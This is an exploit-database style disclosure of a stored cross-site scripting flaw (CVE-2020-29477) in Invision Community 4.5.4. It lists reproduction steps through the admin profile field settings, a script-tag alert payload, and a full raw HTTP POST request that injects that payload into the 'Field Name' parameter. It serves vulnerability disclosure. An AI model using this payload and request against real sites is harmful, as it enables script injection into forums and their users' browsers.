Invision Community 4.5.4 – ‘Field Name’ Stored Cross-Site Scripting
# Exploit Title: Invision Community 4.5.4 - 'Field Name' Stored Cross-Site Scripting # Date: 02-12-2020 # Exploit Author: Hemant Patidar (HemantSolo) # Vendor Homepage: https://invisioncommunity.com/ # Software Link: https://invisioncommunity.com/buy # Version: 4.5.4 # Tested on: Windows 10/Kali Linux # CVE: CVE-2020-29477 Vulnerable Parameters: Profile - Field Name. Steps-To-Reproduce: 1. Go to the Invision Community admin page. 2. Now go to the Members - MEMBER SETTINGS - Profiles. 3. Now click on Add Profile field. 4. Put the below payload in Field Name: "<script>alert(123)</script>" 5. Now click on Save button. 6. The XSS will be triggered. POST /admin/?app=core&module=membersettings&controller=profiles&tab=profilefields&subnode=1&do=form&parent=3&ajaxValidate=1 HTTP/1.1 Host: 127.0.0.1 Connection: close Content-Length: 660 Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://127.0.0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://127.0.0.1/admin/?app=core&module=membersettings&controller=profiles Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6 Cookie: XYZ form_new_activeTab=&form_new_submitted=1&csrfKey=3ffc7a5774ddc0d2a7142d2072191efc&MAX_FILE_SIZE=20971520&pf_title%5B1%5D=%3Cscript%3Ealert(123)%3C%2Fscript%3E&pf_desc%5B1%5D=Test&pf_group_id=3&pf_type=Text&pf_allow_attachments=0&pf_allow_attachments_checkbox=1&pf_content%5B0%5D=&pf_multiple=0&pf_max_input=0&pf_input_format=&pf_member_edit=0&pf_member_edit_checkbox=1&radio_pf_member_hide__empty=1&pf_member_hide=all&radio_pf_topic_hide__empty=1&pf_topic_hide=hide&pf_search_type=loose&pf_search_type_on_off=exact&radio_pf_profile_format__empty=1&pf_profile_format=default&pf_profile_format_custom=&radio_pf_format__empty=1&pf_format=default&pf_format_custom= |